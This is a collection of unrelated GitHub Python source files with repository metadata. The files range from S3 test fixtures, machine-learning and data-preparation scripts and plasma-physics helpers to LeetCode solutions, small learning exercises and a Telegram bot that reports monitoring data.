+{"seq_id":"47269634950","text":"from typing import List, Union\nfrom pathlib import Path\nimport pytest\nfrom dataclasses import dataclass, field\n\nfrom deepdream_generator_api.libs.aws_resources import get_resource\n\n\ns3 = get_resource('s3')\n\n\n@dataclass\nclass S3FileUploadItem:\n    s3_file_path: str\n    local_file_path: Union[str, Path]\n    _local_file_path: str = field(init=False, repr=False)\n\n    @property\n    def local_file_path(self) -> str:\n        return self._local_file_path\n\n    @local_file_path.setter\n    def local_file_path(self, local_file_path: Union[str, Path]) -> None:\n        self._local_file_path = str(local_file_path)\n\n\n@pytest.fixture\ndef create_s3_bucket():\n    created_buckets = []\n\n    def s3_bucket_factory(bucket_name):\n        created_bucket = s3.create_bucket(Bucket=bucket_name)\n        created_buckets.append(created_bucket)\n        return created_bucket\n\n    yield s3_bucket_factory\n\n    for bucket in created_buckets:\n        for item in bucket.objects.all():\n            item.delete()\n        bucket.delete()\n\n\n@pytest.fixture\ndef create_s3_files():\n    def s3_file_factory(bucket_name: str, s3_file_upload_items: List[S3FileUploadItem]):\n        for upload_item in s3_file_upload_items:\n            s3.Object(bucket_name, upload_item.s3_file_path).put(\n                Body=open(upload_item.local_file_path, 'rb')\n            )\n    return s3_file_factory\n","repo_name":"Eeki/deepdream-generator","sub_path":"deepdream-generator-api/deepdream_generator_api/tests/fixtures/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42422946470","text":"######################################## pwd\r\nimport sys\r\npwd=sys.path[0]\r\n########################################\r\n\r\n######################################## Imports\r\nimport numpy as np\r\nimport pickle\r\nimport matplotlib.pyplot as plt\r\n###\r\nimport tkinter as tk\r\nfrom tkinter import filedialog\r\n########################################\r\n\r\n######################################## Import from folder\r\nfolder_name='Functions'\r\npath_name_new=pwd + '\\\\' + folder_name\r\nsys.path.append(path_name_new)\r\n##### Import Files\r\nimport Main_Func, Classification_Algorithms\r\nfrom Classification_Algorithms import MLR\r\n########################################\r\n\r\n################################################################################\r\n################################################################################\r\n################################################################################\r\n\r\n##### get user input\r\nprint('Choose train set')\r\nfile_name_path = filedialog.askopenfilename()\r\nfile_name=Main_Func.Get_Name_From_File_Path(file_name_path)\r\nprint('Trained set is:', file_name)\r\nprint('-----')\r\n\r\n##### load sets\r\nfilehandler  = open(file_name_path,'rb')\r\nset = pickle.load(filehandler)\r\nfilehandler.close()\r\n\r\n##### unpack\r\nfeatures, labels=Main_Func.Unpack_Set(set)\r\n\r\n##### flat set\r\nfeatures_flat = features.reshape(features.shape[0], features[0].size)\r\n\r\n##### create model\r\nprint('Training model \\n . \\n . \\n .')\r\nmodel=MLR(learning_rate=3, itter_num=100)\r\ncost_arr = model.Fit(features_flat, labels)\r\nprint('Model trained')\r\n\r\n##### save model\r\nfile_name='Model_MLR'\r\nfile_name_path=pwd+'\\\\'+ file_name +'.obj'\r\nfilehandler = open(file_name_path,\"wb\")\r\npickle.dump(model,filehandler)\r\nfilehandler.close()\r\nprint('Model saved to file:',file_name)\r\n\r\n##### evaluate\r\nsuccess_rate= model.Evaluate(features_flat, labels)\r\nprint('Success Rate=', ' %0.2f ' % success_rate ,'%')\r\n\r\n##### plot cost\r\nplt.plot(cost_arr)\r\nplt.xlabel('Itter')\r\nplt.ylabel('Cost')\r\nplt.title('Cost VS Itter')\r\nplt.show()\r\n\r\n### hold cmd\r\nprint('--------------------')\r\ninput('Press Enter to exit...')\r\n\r\n\r\n\r\n","repo_name":"nirbd28/Shapes-Classification","sub_path":"Train_Model_MLR.py","file_name":"Train_Model_MLR.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"74840332168","text":"from typing import Tuple\nimport random\nimport ray\nfrom ray.data import Dataset\n# import pyarrow as pa  #is something else overwriting pa?\nimport pyarrow.dataset as pads\nimport pandas as pd\n\n\ndef pushdown_read_data(files_list: list,\n                       sample_ids: list) -> Dataset:\n    \"\"\"Read data using projection (col selection) and row filter pushdown at parquet read-level. \n\n    Args:\n        files_list (list): list of files\n        sample_ids (list): list of ids for sampling\n\n    Returns:\n        Dataset: Ray Dataset data\n    \"\"\"\n    filter_expr = (\n        (pads.field(\"passenger_count\") > 0)\n        & (pads.field(\"trip_distance\") > 0)\n        & (pads.field(\"fare_amount\") > 0)\n        & (pads.field(\"pickup_location_id\").isin(sample_ids))\n    )\n\n    the_dataset = ray.data.read_parquet(\n        files_list,\n        columns=[\n            'pickup_at', 'dropoff_at', 'pickup_location_id',\n            'passenger_count', 'trip_distance', 'fare_amount'],\n        filter=filter_expr,\n    )\n\n    # Force full execution of both of the file reads.\n    the_dataset = the_dataset.fully_executed()\n    return the_dataset\n\ndef transform_batch(the_df: pd.DataFrame) -> pd.DataFrame:\n    \"\"\"UDF function to transform a pandas dataframe.\n        Calculates trip duration in seconds.\n        Drops rows with shorter than 1 minute trip duration.\n        Drops pickup/dropoff timestamps since not needed anymore\n        Fillna missing pickup_location_id\n\n    Args:\n        df (pd.DataFrame): input dataframe\n\n    Returns:\n        pd.DataFrame: updated dataframe\n    \"\"\"\n    df = the_df.copy()    \n    df[\"trip_duration\"] = (df[\"dropoff_at\"] - df[\"pickup_at\"]).dt.seconds    \n    df = df[df[\"trip_duration\"] >= 60]    \n    df.drop([\"dropoff_at\", \"pickup_at\"], axis=1, inplace=True)\n    df['pickup_location_id'] = df['pickup_location_id'].fillna(-1)\n    return df\n\ndef prepare_data(files_list: list, \n                 target: str, \n                 sample_ids: list) -> Tuple[Dataset, Dataset, Dataset]:\n    \"\"\"Function to load data, clean it, and split into train, validation, and test datasets.\n\n    Args:\n        files_list (list): list of files\n        target (str): column name of the target_column or y-variable you want to predict\n        sample_ids (list): list of sampling ids\n\n    Returns:\n        Tuple[Dataset, Dataset, Dataset]: train, valid, test\n    \"\"\"\n    # pushdown read data\n    the_dataset = pushdown_read_data(files_list, sample_ids)\n    \n    # calculate trip_duration using pandas UDF `transform_batch`\n    the_dataset = the_dataset.map_batches(\n            transform_batch, \n            batch_format=\"pandas\")   \n        \n    # perform a global shuffle\n    the_dataset = the_dataset.random_shuffle()\n    \n    # split data into train/valid\n    train_dataset, valid_dataset = \\\n        the_dataset.train_test_split(test_size=0.2)\n    \n    # create test data same as valid\n    test_dataset = valid_dataset.drop_columns([target])\n    \n    # return train, valid, test data\n    return train_dataset, valid_dataset, test_dataset\n\n\n\nif __name__ == \"__main__\":\n\n    # Test the prepare_data function\n    target = \"trip_duration\"\n    data_files = \\\n    ['s3://air-example-data/ursa-labs-taxi-data/by_year/2019/05/data.parquet/359c21b3e28f40328e68cf66f7ba40e2_000000.parquet',\n    's3://air-example-data/ursa-labs-taxi-data/by_year/2019/06/data.parquet/ab5b9d2b8cc94be19346e260b543ec35_000000.parquet']\n    sample_locations = list(range(1, 21))\n    \n    #True: sample the data instead of using all of it\n    SMOKE_TEST = True \n\n    if SMOKE_TEST:\n        data_files = data_files[0]\n        sample_locations = random.sample(sample_locations, 3)\n        \n    train_ds, valid_ds, test_ds = prepare_data(data_files, target, sample_locations)\n\n    print(f\"Number rows train, test: \", end=\"\")\n    print(f\"{train_ds.count()}, {test_ds.count()}\")","repo_name":"christy/AnyscaleDemos","sub_path":"ray_air_demos/ray_air/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"16"}
+{"seq_id":"5631657671","text":"import csv\nimport boto3\nfrom env_var import access_key, secret_access, region\nfrom cisco_vision import child, male, female, default\n\nfrom update_db import database_update\n\n# Client is needed to make the AWS connection\nclient = boto3.client('rekognition',\n                      aws_access_key_id=access_key,\n                      aws_secret_access_key=secret_access,\n                      region_name=region)\n\ndef aws_img_recognition (photo):\n    with open(photo, 'rb') as source_image:\n        # convert the image to bytes to bass to img recognition api\n        source_bytes = source_image.read()\n        response = client.detect_faces(\n            Image={\n                'Bytes': source_bytes,\n            },\n            Attributes=[\"ALL\", \"DEFAULT\"]\n        )\n        try:\n            # Gets the age and the gender of all the faces from the Amazon API response\n            for person in response['FaceDetails']:\n                #print(person)\n                try:\n                    age = person['AgeRange']\n                except:\n                    age = \"na\"\n\n                try:\n                    sex = person['Gender']\n                except:\n                    sex = \"na\"\n\n                # average age is calculated\n                average_age = int((age['Low'] + age['High']) / 2)\n                # sex is taken from the api response\n                sex = (sex['Value'])\n\n                #tag value is needed for the Cisco Vision Api Calls\n                if average_age < 18:\n                    tag = 'Children'\n                    child()\n                elif average_age < 38:\n                    if gender == 'Male':\n                        tag = 'VYPE'\n                        male()\n                    else:\n                        tag = 'LYFT'\n                        female()\n                else:\n                    tag = 'Default'\n                    defalut()\n\n                database_update(age, sex, tag)\n                print(f\"Age: {average_age}, Sex: {sex}\")\n                \n\n        except:\n            print('There is no response from Amazon Image Recognition')\n\n\n","repo_name":"gve-sw/MerakiMVImageRecognitionandCiscoVision","sub_path":"img_reko.py","file_name":"img_reko.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"38688798572","text":"# This code returns some mad libs text based on the user input\r\n# Is the code always returning the correct input?\r\n# What do you think I did to write this code that I shouldn't have done?\r\n#Answer ---> return causes the function to exit or terminate immediately, even if it is not the last statement of the function.\r\ndef change_name(adjective):# you forgot to put a colon at the end of the function definition.\r\n\r\n    if adjective =='red':\r\n        print( \"The quick brown fox jumps over the red dog\")\r\n    elif adjective == 'lazy':\r\n        print (\"The quick brown fox jumps over the lazy dog\")\r\n    elif adjective == 'energetic':\r\n        print (\"The quick brown fox jumps over the energetic dog\")\r\n    elif adjective == 'happy':\r\n        print (\"The quick brown fox jumps over the happy dog\")\r\n    elif adjective == 'sad':\r\n        print (\"The quick brown fox jumps over the happy dog\")\r\n    else:\r\n        print (\"No case for that adjective found!\")\r\nadj =input(\"Enter one of the following adjectives\\n 1) red\\n 2) lazy\\n 3)energetic\\n 4) happy\\n 5)sad\\n\").lower() # to convert the any uper case letter to lower case \r\nchange_name(adj)\r\n","repo_name":"Mahleat17/Module-4-Lab-Activity","sub_path":"M4P3.py","file_name":"M4P3.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26346551331","text":"import sys\nimport os\nfrom datetime import timedelta\nfrom dataclasses import dataclass\n\nimport pandas as pd\nimport numpy as np\n\nimport astropy.constants as const\nimport astropy.units as u\n\nsys.path.append('./fitting')\nfrom config import get_dirs\nimport helpers_fit\n\noutput_dir, _ = get_dirs()\n\n\n@dataclass\nclass BiMax:\n    n: float\n    vx: float\n    vy: float\n    vz: float\n    vth_perp: float\n    vth_par: float\n    symm_axis: np.array\n    label: str\n    moverq: float\n\n    @property\n    def v(self):\n        return np.array([self.vx, self.vy, self.vz]) * self.vx.unit\n\n    @property\n    def rotation_matrix(self):\n        \"\"\"\n        Rotation matrix to align with the symmetry axis.\n        \"\"\"\n        return rotationmatrix(self.symm_axis)\n\n    def sample(self, vx, vy, vz):\n        '''\n        Return distribution function at (vx, vy, vz).\n        '''\n        # Translate to centre of bi-Maxwellian\n        vx = vx - self.vx\n        vy = vy - self.vy\n        vz = vz - self.vz\n        # Rotate to symmetry axis\n        v = np.array([vx, vy, vz]) * vx.unit\n        v = np.dot(self.rotation_matrix, v).T\n        vx = v[:, 0]\n        vy = v[:, 1]\n        vz = v[:, 2]\n\n        A = self.n / (np.power(np.pi, 1.5) *\n                      self.vth_perp *\n                      self.vth_perp *\n                      self.vth_par)\n        exponent = ((vx / self.vth_perp)**2 +\n                    (vy / self.vth_perp)**2 +\n                    (vz / self.vth_par)**2)\n        return A * np.exp(-exponent)\n\n    def integrated_1D(self, params, modvs=None):\n        '''\n        Construct an integrated 1D distribution function from bi-Maxwellian\n        parameters.\n\n        Parameters\n        ----------\n        params\n        modvs : array, optional\n            Speeds at which to sample the distribution. If ``None``, a suitibly\n            fine set of speeds is automatically chosen.\n        '''\n        if modvs is None:\n            vrminlim, vrmaxlim = 200, 1400\n            modvs = np.arange(vrminlim, vrmaxlim, 5.)\n\n        modvs_input = modvs\n        # Calculate 3D grid of sample points\n        nphi, ntheta = 64, 35\n        dphi, dtheta = (2 * np.pi / nphi), (np.pi / ntheta)\n        nv = modvs.size\n        phis_orig = np.linspace(-np.pi, np.pi, nphi)\n        thetas_orig = np.linspace(-np.pi / 2, np.pi / 2, ntheta)\n        modvs, thetas, phis = np.meshgrid(modvs, thetas_orig, phis_orig, indexing='ij')\n        modvs = modvs.flatten() * u.km / u.s\n        thetas = thetas.flatten()\n        phis = phis.flatten()\n        # Array of points at which to sample the distribution function\n        vx, vy, vz = sph2cart(modvs, thetas, phis)\n\n        # Bodge correct for spacecraft aberration\n        vx += params['helios_vr'] * u.km / u.s\n        vy += params['helios_v'] * u.km / u.s\n\n        # Do the full 3D sampling of the distribution function\n        df = self.sample(vx, vy, vz)\n\n        # Take into account different mass per charge ratios, and transform\n        # into the instrument frame of reference\n        modvs_input, df = helpers_fit.distribution_function_correction(\n            modvs_input, df, 1 / self.moverq)\n        # df and modvs are now in the isntrument frame\n        # Mutliply by area element\n        df = df.to(u.s**3 / (u.cm**3 * u.km**3)).value\n        df = df * np.cos(thetas) * modvs.value**2\n        index = pd.MultiIndex.from_product([modvs_input, thetas_orig, phis_orig],\n                                           names=['v', 'theta', 'phi'])\n        df = pd.DataFrame({'Reduced fit': df}, index=index)\n        df = df['Reduced fit'].groupby(level='v').sum() * dphi * dtheta\n        return df\n\n\ndef vtoEq(v):\n    return (0.5 * const.m_p * (v * u.km / u.s)**2).to(u.eV).value / 1e3\n\n\ndef temp2vth(temp, m=1):\n    \"\"\"\n    Assumes velocities are floating point numbers in degrees Kelvin.\n    \"\"\"\n    return np.sqrt(2 * const.k_B * temp * u.K /\n                   (const.m_p * m)).to(u.km / u.s).value\n\n\ndef load_corefit(probe, starttime, endtime, verbose=False):\n    starttime_orig = starttime\n    paramlist = []\n    starttime_orig = starttime\n    while starttime < endtime + timedelta(days=1):\n        year = str(starttime.year)\n        doy = starttime.strftime('%j')\n        fname = 'h' + probe + '_' + year + '_' + doy + '_' + '3D_fits.h5'\n        saveloc = os.path.join(output_dir,\n                               'helios' + probe,\n                               'fits',\n                               year,\n                               fname)\n        try:\n            params = pd.read_hdf(saveloc, 'fits')\n        except FileNotFoundError:\n            starttime += timedelta(days=1)\n            if verbose:\n                print('{}/{} corefit data not available'.format(year, doy))\n            continue\n        paramlist.append(params)\n        starttime += timedelta(days=1)\n        if verbose:\n            print('{}/{} corefit data loaded'.format(year, doy))\n    paramlist = pd.concat(paramlist)\n    time = paramlist.index.get_level_values('Time')\n    paramlist = paramlist[(time > starttime_orig) &\n                          (time < endtime)]\n    return paramlist\n\n\ndef load_alphafit(probe, starttime, endtime, verbose=False):\n    starttime_orig = starttime\n    paramlist = []\n    starttime_orig = starttime\n    while starttime < endtime + timedelta(days=1):\n        year = str(starttime.year)\n        doy = starttime.strftime('%j')\n        fname = (output_dir / 'alphas' /\n                 'helios{}'.format(probe) / '{}'.format(year) /\n                  'h{}_{}_{:03d}_alpha_fits.csv'.format(probe, year, int(doy)))\n        print(fname)\n        try:\n            params = pd.read_csv(fname, index_col=0, parse_dates=[0])\n        except FileNotFoundError:\n            starttime += timedelta(days=1)\n            if verbose:\n                print('{}/{} corefit data not available'.format(year, doy))\n            continue\n        paramlist.append(params)\n        starttime += timedelta(days=1)\n        if verbose:\n            print('{}/{} corefit data loaded'.format(year, doy))\n    paramlist = pd.concat(paramlist)\n    paramlist = paramlist[(paramlist.index > starttime_orig) &\n                          (paramlist.index < endtime)]\n    return paramlist\n\n\ndef _columndotproduct(v1, v2):\n    out = np.zeros(v1.shape[0])\n    for i in range(v1.shape[0]):\n        out[i] = np.dot(v1[int(i), :], v2[int(i), :])\n    return out\n\n\ndef rotationmatrixangle(axis, theta):\n    \"\"\"\n    Return the rotation matrix about a given axis.\n\n    The rotation is taken to be counterclockwise about the given axis. Uses the\n    Euler-Rodrigues formula.\n\n    Parameters\n    ----------\n        axis : array_like\n            Axis to rotate about.\n        theta : float\n            Angle through which to rotate in radians.\n\n    Returns\n    -------\n        R : array_like\n            Rotation matrix resulting from rotation about given axis.\n    \"\"\"\n    assert axis.shape == (3, ), 'Axis must be a single 3 vector'\n    assert np.dot(axis, axis) != 0, 'Axis has zero length'\n\n    normaxis = axis / (np.sqrt(np.dot(axis, axis)))\n\n    a = np.cos(theta / 2)\n    b, c, d = -normaxis * np.sin(theta / 2)\n    aa, bb, cc, dd = a * a, b * b, c * c, d * d\n    bc, ad, ac, ab, bd, cd = b * c, a * d, a * c, a * b, b * d, c * d\n    out = np.array([[aa + bb - cc - dd, 2 * (bc + ad), 2 * (bd - ac)],\n                    [2 * (bc - ad), aa + cc - bb - dd, 2 * (cd + ab)],\n                    [2 * (bd + ac), 2 * (cd - ab), aa + dd - bb - cc]])\n    return out[:, :, 0]\n\n\ndef angle(v1, v2):\n    \"\"\"\n    Return angle between vectors v1 and v2 in radians.\n\n    `n` is the number of components each vector has, and `m` is the number of\n    vectors.\n\n    Parameters\n    ----------\n        v1 : array_like\n            Vector 1. Can be shape `(n, )` or shape `(m, n)`.\n        v2: array_like\n            Vector 2. Can be shape `(n, )` or shape `(m, n)`.\n\n    Returns\n    -------\n        phi : array_like or float\n            Angle between two vectors in radians. Shape will be `(m, )`.\n    \"\"\"\n    def ncomps(v):\n        \"\"\"Work out how many components a vector has, and make v 2d\"\"\"\n        if len(v.shape) == 1:\n            n = v.shape[0]\n        elif len(v.shape) == 2:\n            n = v.shape[1]\n        else:\n            raise ValueError('Input array must be 1D or 2D, but is %sD'\n                             % (len(v.shape)))\n        return n, np.atleast_2d(np.array(v))\n\n    v1comps, v1 = ncomps(v1)\n    v2comps, v2 = ncomps(v2)\n    if v1.shape != v2.shape:\n        if v1.shape[0] == 1 and v2.shape[0] != 1:\n            v1 = np.repeat(v1, v2.shape[0], axis=0)\n        elif v1.shape[0] != 1 and v2.shape[0] == 1:\n            v2 = np.repeat(v2, v1.shape[0], axis=0)\n        assert v1comps == v2comps,\\\n            'Input vectors must have same nubmer of components'\n\n    v1mag = np.linalg.norm(v1, axis=1)\n    v2mag = np.linalg.norm(v2, axis=1)\n    v1dotv2 = _columndotproduct(v1, v2)\n\n    phi = np.arccos(v1dotv2 / (v1mag * v2mag))\n    return phi\n\n\ndef rotationmatrix(v):\n    \"\"\"\n    Returns the rotation matrix that maps the input vector on to the z-axis.\n\n    Parameters\n    ----------\n        v : array_like\n            Input vector.\n\n    Returns\n    -------\n        R : array_like\n            Rotation matrix.\n    \"\"\"\n    assert v.shape == (3, ), \"Input must be a 3 component vector\"\n    v = np.float64(v)\n    zaxis = np.array([0, 0, 1])\n    if np.array_equal(v, zaxis):\n        return np.ma.identity(3)\n\n    # Calculate orthogonal axis\n    orthvec = np.cross(zaxis, v)\n    phi = angle(v, zaxis)\n\n    R = rotationmatrixangle(orthvec, -phi)\n\n    newzaxis = np.dot(R, v)\n    newzaxis = newzaxis / np.linalg.norm(newzaxis)\n\n    return R\n\n\ndef sph2cart(r, theta, phi):\n    \"\"\"\n    Given spherical co-orinates, returns cartesian coordiantes.\n\n    Parameters\n    ----------\n        r : array_like\n            r values\n        theta : array_like\n            Elevation angles defined from the x-y plane towards the z-axis\n        phi : array_like\n            Azimuthal angles defined in the x-y plane, clockwise about the\n            z-axis, from the x-axis.\n\n    Returns\n    -------\n        x : array_like\n            x values\n        y : array_like\n            y values\n        z : array_like\n            z values\n\n    \"\"\"\n    x = r * np.cos(theta) * np.cos(phi)\n    y = r * np.cos(theta) * np.sin(phi)\n    z = r * np.sin(theta)\n    return x, y, z\n","repo_name":"dstansby/alphafit","sub_path":"visualising/vis_helpers.py","file_name":"vis_helpers.py","file_ext":"py","file_size_in_byte":10343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70587692167","text":"#\n# @lc app=leetcode id=1470 lang=python3\n#\n# [1470] Shuffle the Array\n#\n# https://leetcode.com/problems/shuffle-the-array/description/\n#\n# algorithms\n# Easy (90.69%)\n# Likes:    125\n# Dislikes: 15\n# Total Accepted:    19.1K\n# Total Submissions: 21K\n# Testcase Example:  '[2,5,1,3,4,7]\\n3'\n#\n# Given the array nums consisting of 2n elements in the form\n# [x1,x2,...,xn,y1,y2,...,yn].\n# \n# Return the array in the form [x1,y1,x2,y2,...,xn,yn].\n# \n# \n# Example 1:\n# \n# \n# Input: nums = [2,5,1,3,4,7], n = 3\n# Output: [2,3,5,4,1,7] \n# Explanation: Since x1=2, x2=5, x3=1, y1=3, y2=4, y3=7 then the answer is\n# [2,3,5,4,1,7].\n# \n# \n# Example 2:\n# \n# \n# Input: nums = [1,2,3,4,4,3,2,1], n = 4\n# Output: [1,4,2,3,3,2,4,1]\n# \n# \n# Example 3:\n# \n# \n# Input: nums = [1,1,2,2], n = 2\n# Output: [1,2,1,2]\n# \n# \n# \n# Constraints:\n# \n# \n# 1 <= n <= 500\n# nums.length == 2n\n# 1 <= nums[i] <= 10^3\n# \n#\n\n# @lc code=start\nclass Solution:\n    def shuffle(self, nums: List[int], n: int) -> List[int]:\n        res, HALF, idxRes = [0]*len(nums), len(nums)//2, 0\n        for i in range(HALF):\n            res[idxRes], res[idxRes+1] = nums[i], nums[i+HALF]\n            idxRes += 2\n        return res\n# @lc code=end\n\n","repo_name":"Code-Wen/LeetCode_Notes","sub_path":"1470.shuffle-the-array.py","file_name":"1470.shuffle-the-array.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"8038847210","text":"class Solution:\n    def canMakeArithmeticProgression(self, arr: List[int]) -> bool:\n        f = 0\n        arr.sort()\n        d = arr[1] - arr[0]\n        if len(arr) == 2:\n            return True\n        for i in range(2,len(arr)):\n            if arr[i] - arr[i-1] != d:\n                return False\n        return True","repo_name":"shubhipathak11/LeetCode","sub_path":"1502-can-make-arithmetic-progression-from-sequence/1502-can-make-arithmetic-progression-from-sequence.py","file_name":"1502-can-make-arithmetic-progression-from-sequence.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30009868657","text":"import argparse\nimport caffe\nimport lmdb\nimport math\nfrom google.protobuf.text_format import Merge\n\ndef count_entries(lmdb_path):\n    train_lmdb_env = lmdb.open(lmdb_path)\n    with train_lmdb_env.begin() as txn:\n        entries = txn.stat()['entries']\n        return entries\n\ndef get_solver(solver_path):\n    solver = caffe.proto.caffe_pb2.SolverParameter()\n    with open(solver_path,'r+') as f:\n        Merge(str(f.read()), solver)\n    return solver\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-o\", \"--original_proto\",\n                        type=str, required=True)\n    parser.add_argument(\"-t\", \"--train_database_path\",\n                        type=str, required=True)\n    parser.add_argument(\"-v\", \"--test_database_path\",\n                        type=str, required=True)\n    parser.add_argument(\"-s\", \"--snapshot_output\",\n                        type=str, required=True)\n    parser.add_argument(\"-b\", \"--batch_size\",\n                        type=int, required=True)\n    parser.add_argument(\"-e\", \"--epochs\",\n                        type=int, required=True) \n    parser.add_argument(\"-i\", \"--snapshot_interval\",\n                        type=int, required=True)                    \n    parser.add_argument(\"--trainval_proto\",\n                        type=str, required=True)\n    args = parser.parse_args()\n\n    train_lmdb_size = count_entries(args.train_database_path)\n    test_lmdb_size = count_entries(args.test_database_path)\n    snapshot_output = args.snapshot_output\n    BATCH_MULTIPLIER = 7\n    BATCH_ACCUMULATION = BATCH_MULTIPLIER * args.batch_size\n    solver = get_solver(args.original_proto)\n    del solver.test_iter[0]\n    solver.test_iter.extend([int(math.ceil(float(test_lmdb_size / args.batch_size )))])\n    train_iter = int(math.ceil(float(train_lmdb_size / (args.batch_size * BATCH_ACCUMULATION))))\n    solver.max_iter = args.epochs * train_iter\n    solver.snapshot = args.snapshot_interval * train_iter\n    solver.test_interval = train_iter\n    solver.snapshot_prefix = snapshot_output\n    solver.net = args.trainval_proto\n    \n    with open(args.original_proto, \"w\") as f:\n        f.write(str(solver))\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"adolfoeliazat/Telenav.AI","sub_path":"traffic_signs_segmentation/utils/edit_caffe_solver.py","file_name":"edit_caffe_solver.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"71058960647","text":"country = input('请问你来自哪个国家？ ')\nage = input('请输入年龄： ')\nage = int(age)\nif country == '台湾':\n    if age < 18:\n        print('你还太嫩了')\n    else:\n        print('恭喜你可以开车车了')\nelif country == '木叶忍者村':\n    if age > 30:\n        print('恭喜你，你活得比第一代火影那时的国名平均寿命还久')\n    else:\n        print('我愚蠢的欧豆豆呦')\nelse:\n    print('笑死，你只能是台湾人or木叶忍者村的')                            ","repo_name":"itachi0526/driving","sub_path":"driving.py","file_name":"driving.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13163786698","text":"from configobj import ConfigObj\r\nfrom twx.botapi import TelegramBot, InputFileInfo, InputFile,ReplyKeyboardMarkup\r\nfrom multiprocessing import Process\r\nimport threading\r\nfrom datetime import datetime\r\nfrom AssisIA import AssisIA\r\nimport time\r\nimport logging\r\n\r\nfileInit = '.\\\\config.init'\r\n\r\nclass AssisBot:\r\n    def __init__(self):\r\n        config = ConfigObj(fileInit)\r\n        self.Listen = False\r\n        self.IA = AssisIA()\r\n        self.apikey = config['bot']['apikey']\r\n        self.name = config['bot']['name']\r\n        self.adminChatId = config['bot']['adminChatId']\r\n        self.updatesDelay = float(config['bot']['delay'])\r\n        self.Telegram = TelegramBot(self.apikey)\r\n        self.Telegram.update_bot_info().wait()\r\n        self.ListenerUsers =  threading.Thread(target = self.listeningUser, daemon = True)\r\n\r\n    def changeApiKey(self, apikey):\r\n        self.Telegram = TelegramBot(apikey)\r\n        self.Telegram.update_bot_info().wait()\r\n\r\n    def startToListen(self):\r\n        self.Listen = True\r\n        if (not self.ListenerUsers.is_alive()):\r\n            self.ListenerUsers.start()\r\n        logging.info('Corriendo programa: '+str(self.ListenerUsers.is_alive()))\r\n\r\n    def stopToListen(self):\r\n        if self.ListenerUsers.is_alive():\r\n            self.Listen = False\r\n            logging.info('Deja de escuchar')\r\n        else:\r\n            logging.info(\"No hay programa que detener\")\r\n\r\n    def listeningUser(self):\r\n        logging.info(\"Inicio subproceso de escucha\")\r\n        updates = self.Telegram.get_updates().wait()\r\n        last_updateId = (updates[-1].update_id) if (len(updates)>0) else 0\r\n        while True:\r\n            try:\r\n                updates = self.Telegram.get_updates(offset = last_updateId+1, timeout = 100).wait()\r\n                logging.info(\"Updates: \"+str(len(updates)))\r\n                if len(updates)>0:\r\n                    if self.Listen: #debería responder? (Es una bandera)\n                        res = self.IA.getResponse(updates[0])\n                        if (res['Options'] == False):\n                            self.Telegram.send_message(updates[0].message.chat.id, res['Text']).wait()\n                            if(res['Image']):\n                                fp = open(res['ImagePath'], 'rb')\r\n                                file_info = InputFileInfo('NOCData.png', fp, 'image/png')\r\n                                chart = InputFile('photo', file_info)\r\n                                self.Telegram.send_photo(updates[0].message.chat.id, photo=chart).wait()\r\n                            if(res['Document']):\r\n                                doc = open(res['DocumentPath'], 'rb')\r\n                                file_info = InputFileInfo('Details.csv', doc, 'csv')\r\n                                document = InputFile('document', file_info)\r\n                                self.Telegram.send_document(updates[0].message.chat.id, document=document).wait()\r\n\r\n                        else:\r\n                            keyboard = res['Options']\r\n                            reply_markup = ReplyKeyboardMarkup.create(keyboard)\r\n                            msg = 'Seleccione el grupo para ver los detalles'\r\n                            self.Telegram.send_message(updates[0].message.chat.id, msg, reply_markup=reply_markup).wait()\r\n\r\n                        dataLoadDelta = (datetime.now()-datetime.strptime(res['UpdateTime'],'%a %b %d %H:%M:%S %Y'))\r\n                        dataLoadTimeHours = dataLoadDelta.seconds / 3600\r\n                        maxHours = 3\r\n                        if(dataLoadTimeHours>=maxHours):\r\n                            msg = \"Carga de Datos igual a \"+str(dataLoadDelta)+\" horas. Revisar BD desactualizada\"\r\n                            self.Telegram.send_message(self.adminChatId, msg).wait()\r\n                            msg = \"Última actualización mayor a 02:30 horas. BD desactualizada, contactar a Administrador\"\r\n                            self.Telegram.send_message(updates[0].message.chat.id, msg).wait()\r\n\r\n                    logging.info('Nuevo mensaje: '+updates[0].message.text)\r\n                    last_updateId = updates[0].update_id\r\n            except Exception as ex:\r\n                template = \"Un error del tipo {0} ha ocurrido, por favor contactar Administrador. Detalles:\\n{1!r}\"\r\n                excepMsg = template.format(type(ex).__name__,ex.args)\r\n                logging.error(\"Error generado en el Bot\")\n                logging.error(excepMsg)\n                if (type(ex).__name__ == \"FileNotFoundError\"): #Error no se ha encontrado el archivo, contestar con el error\n                    self.Telegram.send_message(updates[0].message.chat.id, excepMsg).wait()\n                    self.Telegram.send_message(self.adminChatId, excepMsg).wait()\n                    last_updateId = updates[0].update_id\n                time.sleep(10)\r\n","repo_name":"diegosys89/NocBotEc","sub_path":"AssisBot.py","file_name":"AssisBot.py","file_ext":"py","file_size_in_byte":4872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
